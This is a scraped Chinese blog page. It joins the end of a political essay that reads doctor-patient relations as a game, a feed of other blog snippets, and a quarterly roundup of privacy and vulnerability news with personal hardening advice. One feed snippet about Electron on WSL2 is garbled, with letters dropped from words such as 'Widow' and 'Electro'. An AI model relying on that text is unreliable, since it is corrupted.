在如今的天朝，“医患关系”本质上是一种【博弈】。关于“医患博弈”，俺简单谈2点：
不对等博弈
首先，这是一种【不对等】博弈——因为医生掌握了专业知识，而大部分患者【不】具备相关的专业知识。
当双方的能力明显不对等，博弈自然也就不对等。
这就好比天朝的股市——“庄家＆散户”之间的能力不对等；因此，绝大部分散户都成了韭菜——不断被收割。
单次博弈
何为“单次博弈”？俺在那篇《博弈论入门教程——从基本概念到具体案例》已经解释过了。
考虑到某些读者没看过那篇，再稍微解释一下。
假设你在自家周边的饭店吃饭，饭店通常不会特别狠地宰你——因为还想做【回头客】的生意；
反之，如果你去旅游，在旅游景点的饭店吃饭，对方通常会比较狠地宰你——因为你不会再来第二次了。
前一种情况，称之为“多次博弈”，后一种则是“单次博弈”。
显然，“治疗【重症】的医生”与“患者”之间，属于【单次】博弈！此时不宰你，更待何时？
◇人性
此次爆料事件之后，网上有很多舆论在指责“道德败坏的医生”。因此，俺再来聊聊“人性”这个话题。
在如今的“医患关系”中，医生（尤其是【治疗重病】的医生）可以用各种方式，从患者身上获取利益。
从道德（伦理学）的角度，你当然可以指责这些医生道德败坏。但俺要提醒大伙儿【换位思考】一下（最近一年的博文中，俺已经多次提到【换位思考】）。
试想一下：如果你处在同样的位置上，你会怎么做？
说得更广义、更抽象一些：假设有一件事情，风险很低，收益很高，但违背你的道德原则。你会不会做？
每个读者都可以扪心自问一下。
其它国家，俺了解不多，不敢随便评价。但是在咱们天朝，估计大部分人（一半以上的人）都会选择做这样的事情（注：“一半以上”已经是客气的说法）。
◇制度
如果某个体制，需要依靠体制中大部分人的【道德自律】，才能正常运作，那么这个体制就非常失败。
换一种说法：
优秀的体制，通常是建立在“性恶论”（人性本恶）的基础上。因为有这个前提，即使体制中大多数人都非常自私，甚至都道德败坏，这个体制依然可以有效地运作。
反之，建立在“性善论”（人性本善）基础上的制度，往往很脆弱。因为这种制度要求系统中大多数人（尤其是关键岗位的人）具有相当程度的道德水平——这明显不切实际。顺便说一下：“共产主义理想”虽然看起来很美好，但是很不切实际。这里面有好几个原因，其中之一就是“人性”（如果你想了解其它的原因，可以看《为什么马克思是错的？——全面批判马列主义的知名著作导读》）。
为了避免有人抬杠或者有人误解，俺再稍微总结一下：
“基于性恶论”是“优秀制度”的【必要】条件，但不是【充分】条件。
“基于性善论”是“糟糕制度”的【充分】条件，但不是【必要】条件。
在前一个章节，俺特意分享了美国佬的经验。
当然啦，美国佬的经验，肯定不能全盘照搬，但可以获得某些借鉴。至少有如下几点值得借鉴：
1、引入新的博弈方——医保公司 ＆ 律师
很多美国人买了商业医疗保险。“医疗保险公司”相当于是【新的博弈方】。虽然患者缺乏医学知识，但是“医疗保险公司”有足够的财力养一帮懂医学的行家。假如医生为了自己赚钱，给患者搞“过度治疗 or 虚假治疗”，医保公司就有能力识破这种招数（并拒绝赔付）。然后患者就可以找律师，发起诉讼。这种诉讼如果打赢了，可以赔很多钱（律师能参与分成）。因此，律师也有很大的动力搞这类诉讼（律师也参与博弈）。
2、提高医生的【违规成本】
美国对医生设置了【很高的门槛】。他们要奋斗十几年，才能拿到行医执照。有了执照，收入很高。而一旦违规，就会被吊销执照，“高收入”也就泡汤了。因此【违规成本】很高（相比天朝而言）。当医生的【违规成本】变得足够高，“医患博弈”的天平就会朝着对患者有利的那边倾斜。
3、加强政府监管
这个很好理解，俺就不展开啦。下一个小节，俺就“政府监管”说些题外话。
◇政治
上述的最后一点是【政府监管】。这个话题很容易被政府利用——很多政府（包括专制的 or 民主的）会拿着“加强政府监管”的幌子，暗中扩充政府的权力。如果扩权之后干了实事，那还算好的；就怕扩权之后，依然不干正事儿。
下面来说说咱们天朝的奇葩现象。
在博客副标题的动态格言中，有如下这句：如果把中宣部的官员和卫生部的官员对调，那么中国既有了言论自由，也有了食品安全。
俺猜，肯定有很多读者在抱怨：政府经常是“该管的不管，不该管的瞎管”。
如果你也有上述想法，那么俺不得不说：图样图森破。
当你觉得政府官员“该管的不管，不该管的瞎管”，充分说明你【没有】换位思考。
为啥卫生部的官员如此无能，食品安全的问题，几十年都搞不好？
道理很简单——朝廷高层都有【特供食品】。每当出现食品安全相关的热点事件，他们心里肯定想“食品安全关我屁事啊”。既然与他们无关，他们又何必费心费力去帮屁民解决？
那为啥中宣部（真理部）的官员如此卖力？动不动审查这个，审查那个。
道理同样很简单——中宣部是负责【洗脑】滴！这项工作干得好不好，直接关系到【政权安全】。试想一下：如果政权垮了，朝廷高层的权贵们，去哪里享受特权？去哪里搜刮民脂民膏？所以，真理部当然要卖力啦。
不光是真理部，凡是涉及到【政权安全】的部门，全都非常卖力。比如说“维稳系统、GFW、等等”。
◇博弈
有些读者会奇怪。本章节的第一个小节不是已经谈到“博弈”了吗？为啥这个小节又要谈“博弈”？
因为第一个小节谈的是“医患博弈”，而本小节谈的是“政治博弈”。
开博这么多年，俺经常提到一个观点：咱们天朝那些重大的社会问题（高房价、996、食品安全、教育、医疗、等等），如果追究根源，都与政治体制有关。
这里面的关键在于——
其一，这些重大社会问题，虽然对屁民的影响很大，但对朝廷高层的影响很【小】；
其二，咱们这些屁民【缺乏】博弈的途径。
如果是在民主体制下，公民可以利用手中的“选票”来展现【民意】。对于【民选】的政府官员，他们或多或少都会忌惮民意，这才有动力去解决“重大社会问题”。通俗地说，“选举制度”就是屁民【合法】参与博弈的途径。这个博弈途径，未必很有效，但总比没有好。
再来看咱们天朝，能找到类似的博弈途径吗？好像找不到。所以，各种重大的社会问题，当然就得不到解决。
而如果重大的社会问题，始终得不到解决，那社会矛盾就会逐渐积累。当社会矛盾越来越多、越来越深，就会成为【系统性风险】。当“系统性风险”严重到一定程度，终归会【改朝换代】。不要说“这不可能”——类似的戏码，咱们天朝的古代史已经上演了好几轮。
对【改朝换代】这个话题感兴趣的读者，可以去看《谈革命》系列博文。
俺博客上，和本文相关的帖子（需翻墙）：
《每周转载：魏则西事件、百度广告、莆田系、军队医院（各方报道及网友评论）》
《每周转载：震惊全国的山东疫苗事件（各方报道及网友评论）》
《每周转载：幼儿园集体服药事件和相关抗议活动（网文若干，照片多张）》
《博弈论入门教程——从基本概念到具体案例》
《相当奇葩的天朝，【劫贫济富】的国度》
《“996工作制”只不过是【劫贫济富】的缩影——“马云奇葩言论”随想》
《分析“制度性腐败”——为啥天朝的贪官屡禁不止？》
《谈革命》（系列）
《为什么马克思是错的？——全面批判马列主义的知名著作导读》
版权声明
本博客所有的原创文章，作者皆保留版权。转载必须包含本声明，保持本文完整，并以超链接形式注明作者"编程随想"和本文原始地址。翻墙工具
使用 BT sync 自动同步各种翻墙工具（BT sync 免翻墙可用）， 同步密钥是 BTLZ4A4UD3PEWKPLLWEOKH3W7OQJKFPLG 如有其它问题，用program.think@gmail.com联系俺 - 博客 构建我的被动收入 2021-04-17 08:00:00本文分享我的个人项目技术栈，包括编程语言、框架与库、数据库、基础设施、CI/CD、监控分析、设计及常用的SaaS服务。
- 博客 Jiajun的编程随想 2021-04-15 08:00:00《如何定位程序问题所在》如何定位bug所在，这是一个很好的问题，我的经验也不丰富，今天综合学习了一下，结合我的经验，总结成文。在出问题之前，我们需要做的事情是(生产环境，测试环境一般容忍性更强，下面的步骤就看各团队要求了)...
- 博客 Jiajun的编程随想 2021-04-14 08:00:00《设计一个IM归档系统》最近整了一个IM归档系统，需求就是把IM聊天记录、文件、图片等全部归档，供数据团队分析。挑战在于量非常的大，以及可靠性保证。架构如下...
- 博客 轶哥博客 2021-04-11 23:12:18<>本文将介绍如何在Widow 10操作系统中借助WSL2开发基于Electro的Uutu窗口应用程序，可以实现在wi10中编写代码并查看liux应用的运行效果。<>借助此方法，仅需一台MacOS设备和一台Wi10的设备，即可通过Electro开发和测试主流操作系统（Widow、Liux、MacOS）下桌面应用程序并可以有差异化的调用操作系统的原生API。<>通过MacOS系统可以编译几乎所有平台的应用程序，例如可以在MacOS中编译
Wi10 x64、Liux ARM64等平台的应用程序。但是在wi10或uutu中无法编译MacOS应用程序（可以借助虚拟机或者带有MacOS系统的Docker镜像实现MacOS平台应用程序的编译，但是可能无法正常进行签名）。关于Electro自动编译及自动更新、分发，可以参阅此视频教程。 - 博客 编程随想的博客 2021-04-11 22:04:00又到了每季度的安全新闻汇总。今天这篇比较长，有些俺认为不那么重要的新闻，就没有放进来了。
★隐私保护
◇【输入法】的隐私风险
《输入法会“背叛”我们吗？ @ 南方周末》
一位受访者对南方周末记者描述，几天前朋友家要换马桶，她微信回信息说了自家用的牌子，下次打开手机 WPS 时，开屏广告就成了京东马桶。“这种 N 年不提的话题，不可能这么巧吧？”她怀疑是输入法泄密。
根据 Mob 研究院数据，2020年搜狗、讯飞和百度三家输入法占据了国内市场九成的活跃用户，其中搜狗占有率最高，54%。2020年9月，腾讯全资收购了搜狗。
易观一组数据表明，中国第三方输入法的活跃用户在2019年达到7.71亿。输入法已成网民刚需。
输入法会获取哪些信息
......
梳理三份隐私政策，输入法软件可能收集的用户信息有11类，涉及调用的手机权限有12项。
◇大规模用户数据泄漏
《谁在倒卖我的简历？ @ 新浪》
编程随想注：
今年315晚会曝光的丑闻里面，据说热度最高的是【简历泄露】。简历包含的信息量非常大，也难怪大伙儿很关注此事。
上述这篇挺长的，俺把小标题列一下：
你的简历是怎么泄露出去的？
1）注册假公司骗取简历
2）与招聘网站“内外勾结”
3）利用爬虫技术抓取（招聘网站的）简历
买你的简历用来干嘛？
1）网赚营销与兼职招聘
2）博彩、彩票和棋牌骗局
3）房地产、保险、教育培训的营销
《Facebook 超5亿用户数据泄露，事件与功能误用有关 @ cnBeta》
北京时间4月7日早间消息，据报道，此前，美国社交媒体平台 Facebook 被曝有5.33亿用户数据遭泄露，其中包含一些知名人士的信息。媒体报道称，泄露的信息包括用户手机号码、名字、位置、出生年月日、电子邮件地址等。对此，Facebook 今日回应称，报道中的数据泄露事件与数据窃取有关，而不是被黑客入侵系统。
Facebook 表示，2019年因为一个功能遭到误用，导致信息出现泄露，可能影响用户约5.3亿；发现问题之后，Facebook 第一时间堵住漏洞。
根据 Facebook 的解释，2019年9月之前，恶意破坏者利用 Facebook 同步联系人工具存在的漏洞窃取数据。随后公司发现漏洞并修复。
......
《巴西几乎所有人的信息泄露 @ Solidot》
巴西几乎所有人的信息泄露。泄露的数据为 14GB，包含了1.04亿车辆和4000万家企业详细信息，潜在受影响人数2.2亿。巴西人口2.1亿，这意味着巴西所有人的信息都被泄露（还有部分在巴西生活的外籍居民）。泄露的信息包含了姓名、出生日期和 CPF 号码。CPF 号码是巴西税务局分配给居民和需要纳税的外籍居民的数字。网络安全公司对钓鱼骗局发出了警告。
◇信息时代的【数字军阀】
《Google、苹果、Facebook、微软——数字时代的军阀 @ Solidot》
去年11月，苹果用户在一次影响广泛的宕机事故后才知道：苹果监视了用户打开和启动的每一个应用程序（编程随想注：上一期谈过这个重大丑闻【OCSP 事件】）
编程随想注：
苹果为什么要这么做？最为善意的猜测是：此举旨在更早发现恶意程序。在一个充斥着恶意的网络世界里，这么做是必要的。安全专家 Bruce Schneier 将这种现象形容为“封建式安全”。
生活在21世纪的我们，面临各种数字强盗的围攻。从身份窃贼，到跟踪者，到企业和政府间谍，到骚扰者。我们是没有办法自保的。即使是身经百战的专家也无法和强盗相抗衡。为了抵抗强盗，你必须做到完美，不犯任何错误。而强盗只要抓住一个错误就能逮住你。因此为了安全起见，你必须和数字军阀结盟。苹果、Google、Facebook 和微软等建立了庞大的要塞，它们投入了大量金钱招募了最强的雇佣兵来保护要塞，为客户（包括你）抵御攻击者。
但如果军阀们转向了你，你对它们而言将是赤裸裸的。这种敌我难辨的情况在与军阀打交道的过程中一直发生着。比如 Google 调整 Chrome 以阻止商业监视（但不阻止它自己的商业监视）。Google 会努力阻止其他人监视你，但如果他们付钱了，Google 就会允许他们监视你。
如果你不在乎被 Google 监视，如果你信任由 Google 判断谁是骗子谁不是，那么这没问题。但如果你们之间存在不一致的意见，那么输的肯定是你。苹果在2017年按中国要求从其应用商店下架了保护隐私的工具。原因是苹果必须遵守中国的法律，它在中国有公司，有制造基地。军阀自身的安全是远甚于客户的。
俺的观点是：要善于【扬长避短】——既要利用大公司提供的某些优质服务，同时又不让大公司窥探你的隐私。
当然啦，要做到这点，需要一些经验＆技巧。
就拿本人的亲身经历举例——
一方面，俺用着 Google 的博客平台 Blogspot（它的安全性足够好，而且能抵御【国家级】的 DDOS 攻击）。
另一方面，俺不用 Google 搜索（俺用的是 Startpage，其搜索质量等同 Google）；另外，俺也不使用 Google 开发的 Chrome 浏览器。
◇QQ 在偷窥你的上网历史
《QQ 被发现扫描并上传用户的浏览器历史 @ Solidot》
腾讯消息应用 QQ 以及 QQ 办公版 TIM 被发现会扫描用户的浏览器历史，搜索购物记录，选择性上传。用户报告，QQ 在登陆10分钟之后开始扫描 Appdata\Local\ 下的所有文件夹，对其中 User Data\Default\History 进行进一步的扫描，User Data\Default\History 是基于 Chrome/Chromium 的浏览器默认历史纪录存放位置，Firefox 的浏览历史存放位置不同，因此目前看来不受影响。不过 Firefox 市场份额不高，而基于 Chrome/Chromium 的浏览器占据了九成以上的份额。
编程随想注：
疼逊官方在知乎发了一篇声明（这里），进行辩解。
有必要提醒诸位：不管上述丑闻是“有意 or 无意”，疼逊官方声明肯定都会说是“无意”。因此，对这类官方回应，不必太当真。
◇疼逊如何看待“微信好友关系”？
《微信好友关系，是否属于个人隐私？ @ Solidot》
腾讯总部所在地深圳市南山区法院上个月判决，微信好友关系不属于个人隐私。
本案的原告在2019年发现，使用微信或 QQ 登录腾讯“微视”APP后，微视会获取其全部微信或 QQ 好友信息。他认为，腾讯公司未经其授权将他的微信、QQ 好友关系提供给其他 APP，侵犯了他的隐私权。
但南山法院认为：“隐私是指用户对其生活领域不愿公开的信息享有不被他人知悉的权利。原告主张的性别和地区属于公开信息，不构成隐私。”
北京师范大学法学院教授袁治杰认为：腾讯并没有权利将微信好友关系披露给第三人，“即使我同意微信可以将我的好友关系提供给他人，微信也不得提供。因为好友关系是双向的，要想有权提供，微信必须同时获得了我的好友们的同意才行。换句话说，必须获得双向同意才行。”
◇【聊天工具/IM】的选型
《Mark Zuckerberg 被发现使用 Signal @ Solidot》
Facebook CEO Mark Zuckerberg 使用加密消息应用 Signal，他的电话号码包含在泄露的5.33亿 Facebook 用户数据中间（编程随想注：这个“用户数据泄漏事件”，前面已经提到了），除此之外还有他的名字、地址、婚姻状况、出生日期和 Facebook ID。
编程随想注：
一位安全研究人员说：又一次大转折，Mark Zuckerberg 注重他自己的隐私，使用不属于 @facebook 的端对端加密聊天应用。
......
俺经常说：“观其行”比“听其言”更重要。大伙儿来看看，Facebook 的老板，放着自家的 WhatsApp 不用，非要用别家的 Signal。WhatsApp 的隐私风险，昭然若揭。
《WhatsApp 的隐私友好替代 @ Solidot》
WhatsApp 的服务条款变更引发了很多争议，加密邮件服务 Proton 官方博客介绍了多个隐私友好的替代服务：
编程随想注：
Signal，开源端对端加密，缺点是注册需要手机号；
Telegram 的缺点是私聊才端对端加密，没有群聊；（编程随想注：这款也要用手机号注册）
Threema，开源端对端加密，但应用本身不免费；
Wickr Me，不开源；
Wire，注册需要手机号或电邮，记录大量元数据；
Element，使用 Matrix 通信协议，基于去中心化联邦架构；
Keybase，已被 Zoom 收购，记录元数据。（编程随想注：Zoom 是商业公司）
最近几年，不止一个读者在博客评论区问俺，理想中的 IM 工具是啥样？今天借这个机会聊一聊。
俺认为：【至少】要达到如下的【每个】要求，才算及格。
- 开源（不光客户端要开源；如果有服务端，服务端也要开源）
- 依靠【社区 or 非营利组织】进行维护（俺信不过商业公司）
- 能够以【隐匿】的方式注册帐号（这也就意味着：凡是要“绑定手机号”的，都不符合）
- 能运行在【桌面】操作系统（“桌面系统”比“手机系统”更有利于安全加固——关于这点，俺已经唠叨很多次了）
- 采用【去中心化】的架构（“P2P or 联邦式”都可以，有助于对抗政府的审查和封锁）
- 免费（一旦涉及到付费，容易暴露个人身份信息）
- 支持“端到端加密”（这点无需解释）
开博十多年，俺【从来不用】IM 工具与读者交流。俺更倾向于用“邮件 or 博客留言”的方式与读者交流。
其一，（相比 IM 而言）这两种方式暴露的信息量更小。
其二，这两种方式都是【纯 Web】，无需安装任何软件（请注意：每当你新装一个软件，都潜在地增加了系统的攻击面）
《为什么俄罗斯网络犯罪分子流行用 Jabber？ @ Solidot》
俄罗斯网络犯罪世界充斥着谜团，但有一种技术充当了主要的通信工具：有18年历史的分布式开源即时通讯协议 Jabber。根据安全公司 Flashpoint 的研究，黑客做交易、分享情报和对恶意程序提供技术支持都是通过 Jabber 完成。该公司资深研究员 Leroy Terrelonge III 称，在网络犯罪经济中，Jabber 是通信的黄金标准。Jabber（或又叫 XMPP）通信系统由数千个独立服务器构成，在全世界有大约一千万用户。有10亿用户的 WhatsApp 使用的是一个 XMPP 变体。ICQ 曾经统治了俄罗斯 IM 市场长达20年，当 Edward Snowden 在2013年披露美国的大规模监视之后，俄罗斯人开始转向了 Jabber。Jabber 加上它的加密插件 OTR（off-the-record）能为通信提供强加密支持。Jabber 的联邦式架构允许任何人运营服务器，这对犯罪分子有巨大的吸引力，他们担心企业与政府之间合作过于紧密。
编程随想注：
俄罗斯网络黑帮偏爱的 Jabber/XMPP，严格来讲只是一个【IM 协议】，而不是一款 IM 软件。已经有很多软件（包括开源软件）实现了该协议。
XMPP 采用【联邦式】架构。通俗地讲，其架构类似于“电子邮件”。对于电邮而言，假设张三用 A 公司的邮箱，李四用 B 公司的邮箱。他俩依然可以相互收发邮件，而且两人可以使用完全不同的邮件客户端软件。XMPP 的原理也差不多。
如果你想挑选一款 XMPP 的聊天软件，可以参考俺在上一段点评中列出的“理想的 IM 应具备哪些要素”。
除了 XMPP，还有一个【Matrix 协议】也值得推荐。俺在《近期安全动态和点评（2019年2季度）》简单介绍过它。Matrix 与 XMPP 有诸多相似之处——都是开放的 IM 协议，都采用“联邦式”的架构，都有多种软件实现 ...
◇【中国版】的 Flash 插件
《安全公司称：Flash 中国版会安装广告程序 @ Solidot》
Adobe 在2020年12月31日之后停止更新和分发 Flash Player，之后重庆重橙网络科技有限公司通过网站 flash.cn 独家在中国大陆分发和维护 Flash Player。
安全公司 Minerva Labs 在收到多次与 Flash 中国版相关的安全警告之后对其进行了分析，发现 Flash 中国版除了安装 Flash 之外还会下载和运行名叫 nt.dll 的文件，其主要功能类似广告程序，但不排除它可以用于其它恶意目的。Flash 中国版主要影响中国用户。
◇Email 里面的【跟踪像素】
《电邮中的跟踪像素日益流行 @ Solidot》
在电邮中使用跟踪技术正日益常见。被称为“跟踪像素”的技术可记录邮件是否打开，以及何时打开；邮件被打开了多少次；打开邮件的设备类型；用户的粗略位置。这项技术可被用于判断一个特定电邮推广活动的影响，以及记录下更多的客户肖像细节。
编程随想注：
跟踪像素通常是只有 1x1 像素的 .GIF 或 .PNG 文件，被插入到插入到电邮的页眉、页脚或正文中，用户的裸眼是无法识别出它的。用户可以使用电邮程序的免费插件剥离掉大部分跟踪像素。
对付这种“跟踪像素”，一种简单有效的方法是——用 Web 方式收邮件，同时在浏览器中【禁用图片】。
有些同学会担心：一旦浏览器禁用图片，访问别的网站也看不到图片了。
俺的解决方法是——设置多个【隔离的】浏览器环境，其中一个【专用于】俺的 Gmail 邮箱。在这个浏览器环境中【禁用图片】。
这么干【至少】有如下几个安全优势：
其一，因为这个浏览器环境是【专用】滴，只访问 Gmail 相关域名，降低了各种“跨站攻击”的风险；
其二，既然只访问固定的域名，可以在该环境中搞【CA 证书白名单】，降低“流氓 CA”的风险（关于【证书白名单】这种安全加固方法，参见“这篇博文”的介绍）；
其三，规避了“跟踪像素”；
其四，因为禁用图片，规避了“浏览器的图片引擎”潜在的安全漏洞。
至于如何设置多个【隔离的】浏览器环境，在如下几个系列教程中都有介绍：
《如何防止黑客入侵》（系列）
《如何保护隐私》（系列）
◇访问邮箱的方式——“Web 方式” VS “软件方式”
（本文发出后，与热心读者在评论区交流“邮件访问方式”；俺再补充一个小节，汇总相关的讨论结果）
访问邮箱，常见的方式有两种——
其一，如果电子邮件服务商提供“Web 界面”，那么用户就可以通过【浏览器】访问该界面（在本小节，这称之为“Web 方式”）；
其二，如果电子邮件服务商提供 SMTP/POP3 或诸如此类的协议支持，用户可以通过【邮件客户端软件】操作邮箱（在本小节，这称之为“软件方式”）。
这两种方式各有优缺点，俺简单总结如下：
【Web 方式】的优点
1. 服务器的限制
如果邮件服务器只提供 web 界面（不提供其它邮件协议的支持）；那么你只能用“Web 方式”
2. 避免额外安装软件
一般来说，大部分网民的系统中都已经有浏览器。用“Web 方式”，你就【无需】额外安装邮件客户端软件。
俺经常唠叨的一个安全原则是——系统中安装的软件尽可能少（可以降低【攻击面】）
3. 【网络隐匿性】的考虑
（这点是针对安全性要求较高的网友）
有些邮件用户不希望邮件服务器知道自己的公网 IP，因此需要采用某种“网络隐匿术”。这方面，Tor 当然是首选。
如果用“Web 方式”，要走 Tor 代理会比较容易（直接使用【Tor Browser】即可）
反之，如果用邮件客户端，还需要额外对其进行配置；万一配置错误，导致客户端【没有】走 Tor 网络，会是潜在的隐患。
4. 【本地无痕】的考虑
（这点是针对安全性要求较高的网友）
“Web 方式”【无需】把邮件同步到本地，就有可能做到【本地无痕】。
比如说：先在虚拟机中创建快照，然后用“Web 方式”查看邮件；看完之后回退到快照——这就可以做到【本地无痕】。
【软件方式】的优点
1. 服务器的限制
如果邮件服务器只提供邮件协议（SMTP、POP3、等），不提供“Web 界面”；那么你只能用“软件方式”
2. 攻击面的考虑
随着 Web 的相关标准越来越多，如今的 Web 浏览器也越来越复杂。一般来说，软件越复杂，则攻击面就越大。
相反，如果你选择某款【轻量级】的邮件客户端，它的攻击面就有可能【远小于】浏览器。
3. 【纯文本】的邮件客户端
（这点是针对安全性要求较高的网友）
有些邮件客户端是【纯文本】软件，那么它天生就可以防范（上一个小节所说的）“跟踪像素”。
而且这类邮件客户端还有一个好处——可以用在【纯文本】的操作系统环境中（【没】安装图形界面的系统）。
【纯文本】的操作系统环境，因为少掉了图形界面，有助于降低攻击面；但“使用门槛”会比较高，不适合技术菜鸟。
作为对比，主流的浏览器都依赖“图形界面”。虽然也有少数【纯文本】的浏览器，但这些浏览器的功能太弱（比如：缺乏 JS 引擎），通常【无法】操作邮箱的 Web 界面。
◇【智能坐垫】的隐私问题
《杭州公司用智能坐垫记录员工离座时间 @ Solidot》
杭州荷博物联公司设计了一款智能坐垫，作为产品研发的一部分，发给员工放在他们的办公椅上进行测试。这些坐垫号称是用于检测员工健康状况，指出可能是疲劳迹象的不良坐姿，测量心率，统计员工在办工桌前坐了多久。
编程随想注：
但当该公司的人力资源经理开始询问员工，为什么长时间离开座椅或提前下班时，人们很快明白了，这些坐垫也记录了员工最不想让老板知道的事情：他们什么时候不在自己的办公桌前，这可能会给员工带来麻烦。
......
今年春节前（2021年1月底），俺刚刚发了一篇《每周转载：内卷的天朝，各阶层的众生相（网文17篇）》，其中提到了各种“内卷”，包括“白领的内卷”。
在“996”已经成为常态之后，公司的 HR 开始监控员工“离开坐位的时间”。真是越来越变态了。
引申阅读：
《“996工作制”只不过是【劫贫济富】的缩影——“马云奇葩言论”随想》
顺便说一下：在如下博文中，俺介绍了“如何跳出996怪圈”。
《学习与人生——700篇博文之感悟》
★高危漏洞
◇Windows 的远程执行漏洞
《Google shares PoC exploit for critical Windows 10 Graphics RCE bug @ Bleeping Computer》
编程随想注：
该漏洞编号CVE-2021-24093，影响 Windows 10 ＆ Windows Server 2016。这是 Google 安全研究人员在去年11月发现并报告给微软。而微软直到今年（2021）2月的例行更新才修复。
漏洞位于 DirectWrite API 进行字体渲染的代码中（缓冲区溢出）。Windows 平台上的浏览器（Chrome、Firefox、Edge、IE）都会使用系统提供的 API 进行字体渲染，因此都会受此影响。
为了利用这个漏洞，攻击者可以创建一个 Web 页面，其中包含精心构造的字体，然后诱导受害者访问该页面。当受害者的浏览器打开该页面时，就中招了。由于此漏洞针对“字体渲染”，与 JS【无关】。因此，即使浏览器禁用了 JS 脚本，还是会中招。
在上一期的《近期安全动态和点评（2020年4季度）》中，俺介绍过另一个漏洞CVE-2020-15999，与这个很类似。CVE-2020-15999位于“FreeType 字体渲染库”。也是利用“Web 页面的字体”来实现远程代码执行。
在上一期，俺说过如下这句，今天再次贴出来：
假如你很注重安全性，为了更彻底地消除【字体】导致的攻击面，你可以定制浏览器，禁止在 Web 页面中加载外来的字体。
对 Firefox 的深度定制，可以参考教程《扫盲 Firefox 定制——从“user.js”到“omni.ja”》；对其它浏览器的深度定制，俺暂时还没写过教程。
《Multiple Security Updates Affecting TCP/IP: CVE-2021-24074, CVE-2021-24094 and CVE-2021-24086 @ 微软安全响应中心》
编程随想注：
微软在2月的例行安全更新中修复了3个【协议栈】的漏洞。
半个月前（2021年3月），俺正好发了一篇《计算机网络通讯的【系统性】扫盲——从“基本概念”到“OSI 模型”》，介绍了“协议栈”相关的概念。其中有如下这张图：
一般来说，“协议栈”的漏洞是很少见滴，而且也很危险。其危险性在于——攻击者可以发送某个精心构造的数据包，当这个数据包到达目标系统（受害者系统），会立即被操作系统的协议栈处理。如果协议栈有漏洞，系统直接就中招了。假如协议栈的漏洞可用于“远程执行代码”，理论上就可以用来构造快速传播的【蠕虫】。
好在这次的2个远程执行漏洞，利用的难度比较大。但攻击者要想利用这3个漏洞进行“拒绝服务”（让系统蓝屏），还是比较容易滴。以下是微软官网的原话：
The two RCE（注：Remote Code Execution）vulnerabilities are complex which make it difficult to create functional exploits, so they are not likely in the short term. We believe attackers will be able to create DoS exploits much more quickly and expect all three issues might be exploited with a DoS attack shortly after release.
◇Zoom（视频聊天）的远程执行漏洞
《Critical Zoom vulnerability triggers remote code execution without user input @ ZDNet》
编程随想注：
全球疫情之后，Zoom 这款视频聊天工具很流行。前不久的 Pwn2Own 大赛（黑客有奖竞赛）中曝光了 Zoom 的一个高危漏洞，可以实现【远程代码执行】，而且无需用户互动——也就是说，在受害者没做任何动作的情况下，攻击者就可以在系统中运行攻击代码。
目前已经确定：影响 Windows ＆ MacOS 版本的 Zoom Chat。手机版的 Zoom Chat 是否受影响，还不确定。由于该漏洞是前几天（4月7日）才曝光；截止俺写本文时，Zoom 公司尚未修复该漏洞。
◇“茄子快传”的远程执行漏洞
《茄子快传发现多个安全漏洞 @ Solidot》
安全公司趋势科技报告：在茄子快传中发现多个安全漏洞，漏洞能导致远程代码执行。
茄子快传是下载量最高的传输应用，曾跻身全球应用下载排行榜前十。它最早由联想开发，一度预装在联想手机上，后从联想独立出去。
茄子快传索取的权限相当广，其中包括访问所有本地存储和媒体，摄像头、麦克风、通讯录、位置，甚至还可以删除应用。趋势科技称，茄子快传的漏洞能被用于泄露用户的敏感数据，以及远程执行代码。
◇Chrome 的高危漏洞
《新 Chrome 0day 漏洞正被利用 @ Solidot》
Google 本周释出了 Chrome 的安全更新 v89.0.4389.72，修复了47个漏洞，其中包括正被利用 0day 漏洞。
编号为 CVE-2021-21166 的漏洞是微软安全研究员 Alison Huffman 在2月11日报告的，Google 没有披露漏洞细节，只是表示它知道漏洞正被利用。
这是 Google 在今年修复的第二个 0day，上一个是2月4日修复的 V8 堆溢出漏洞 CVE-2021-21148。
◇Exchange Server 高危漏洞
编程随想注：
普通网民可能对这个漏洞没啥感觉，但对于使用 Exchange 的诸多企业，已经搞得鸡飞狗跳了。
《至少三万家机构由于微软电邮软件（Exchange Server）漏洞被入侵 @ Solidot》
KrebsOnSecurity 援引消息来源报道，至少三万家美国机构——包括大量的小企业和各级政府被黑客组织利用微软电邮软件 Microsoft Exchange Server 的漏洞入侵。
微软本周披露，黑客正在利用 Exchange Server v2013 到 v2019 中的四个 0day 漏洞。在漏洞披露的三天内，安全专家称：同一黑客组织增加了对尚未修补的 Exchange 服务器的攻击，在入侵之后攻击者留下一个可以后续访问的 web shell。微软表示正与美国网络安全和基础设施安全局密切合作，为客户提供最佳的指南和缓解措施。
《微软 Exchange 软件出现漏洞，至少遭10个黑客组织利用 @ 路透社》
路透华盛顿3月10日 - 网路安全公司 ESET 周三在博客贴文中表示，至少有10个不同的黑客组织正利用近期发现的微软邮件服务器软件漏洞来入侵全球各地目标。
漏洞遭到利用的广泛程度，使得美国与欧洲监管者就微软 Exchange 软件漏洞发出的警告更形迫切。
微软这套用户众多的电邮与日程软件的安全漏洞，等于为商业级的网络间谍活动开启大门，使得不怀好意者能够从易于入侵的服务器中任意窃取电邮。路透上周报导，已有数万个公司遭到波及，每天都有新的受害者出现。
虽然微软发布修补措施，但许多客户更新速度缓慢，意味着这方面至少还有部分对各类黑客而言是门户洞开的。专家将更新缓慢部分归因于 Exchange 架构的复杂性。
微软对客户更新速度缓慢不予置评。在先前有关此漏洞的声明中，微软已强调立即修补所有受影响系统的重要性。
◇sudo 的本地提权漏洞
《10-year-old Sudo bug lets Linux users gain root-level access @ ZDNet》
《Recent Root-Giving Sudo Bug Also Impacts macOS @ Slashdot》
《sudo 漏洞让用户能获得 root 权限 @ Solidot》
安全审计公司 Qualys 发现了一个有10年历史的 Sudo 严重漏洞，允许 Linux 用户获得 root 级别的权限。
编程随想注：
该漏洞被称为 Baron Samedit，编号 CVE-2021-3156，Sudo 团队已经释出了补丁。该漏洞允许已经获得低权限账号的攻击者获得 root 权限，即使账号没有列入控制账号访问的配置文件 /etc/sudoers 中。
这已经是俺第三次谈“sudo 高危漏洞”。
最近两年，sudo 出了好几个高危漏洞。俺在《近期安全动态和点评（2020年1季度）》已经警告过大伙儿。以下是俺当时的原话：
3个月前（2020年1月）的那篇《近期安全动态和点评》，俺已经聊过 sudo 的另一个高危漏洞。
在不到半年时间内，sudo 连续爆了两个非常致命的漏洞——对攻击者而言，这2个漏洞很容易利用，而且都能实现【提权】。
